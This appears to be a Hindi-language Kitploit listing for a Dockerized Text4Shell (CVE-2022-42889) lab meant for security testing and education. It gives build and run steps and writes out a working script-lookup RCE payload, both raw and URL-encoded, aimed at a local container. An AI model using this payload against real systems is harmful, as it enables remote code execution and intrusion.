Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
cve-2022-42889-text4shell-docker — # CVE-2022-42889 (Text4Shell) के लिए डॉकराइज़्ड प्रूफ-ऑफ-कॉन्सेप्ट, जिसमें स्क्रिप्ट, DNS, और URL लुकअप-आधारित RCE पेलोड शामिल हैं, सुरक्षा परीक्षण और शिक्षा के लिए। | Kitploit
उपकरण/GitHubGitHub/karthikuj/cve-2022-42889-text4shell-docker
कंटेनर सुरक्षापेलोड जनरेशनभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणलर्निंग और शिक्षा
GitHubkarthikuj/cve-2022-42889-text4shell-docker

cve-2022-42889-text4shell-docker

# CVE-2022-42889 (Text4Shell) के लिए डॉकराइज़्ड प्रूफ-ऑफ-कॉन्सेप्ट, जिसमें स्क्रिप्ट, DNS, और URL लुकअप-आधारित RCE पेलोड शामिल हैं, सुरक्षा परीक्षण और शिक्षा के लिए।

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
रिपॉजिटरी देखें
763243 साल पहलेKitploit द्वारा समीक्षित

maven इंस्टॉल करें - maven-linux


  1. फैट जार बनाने के लिए maven इंस्टॉल करें
root@kitploit:~
mvn clean install
  1. Docker बिल्ड करें
root@kitploit:~
docker build --tag=text4shell .
  1. Docker रन करें
root@kitploit:~
docker run -p 80:8080 text4shell
  1. ऐप का परीक्षण करें
root@kitploit:~
http://localhost/text4shell/attack?search=<anything>
  1. हमला एक स्ट्रिंग “${prefix:name}” पास करके किया जा सकता है, जहाँ prefix उपर्युक्त लुकअप है:
root@kitploit:~
${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}

http://localhost/text4shell/attack?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27touch%20%2Ftmp%2Ffoo%27%29%7D

  1. आप dns या url प्रीफिक्स का भी उपयोग कर सकते हैं।

  2. कंटेनर ID प्राप्त करें

root@kitploit:~
docker container ls
  1. ऐप के अंदर जाएँ
root@kitploit:~
docker exec -it <container_id> bash
  1. यह जाँचने के लिए कि उपरोक्त RCE सफल हुआ या नहीं (आपको /tmp डायरेक्टरी में foo नामक फ़ाइल बनती दिखनी चाहिए):
root@kitploit:~
ls /tmp/
  1. कंटेनर रोकने के लिए
root@kitploit:~
docker container stop <container_id>
टूल डाउनलोड करें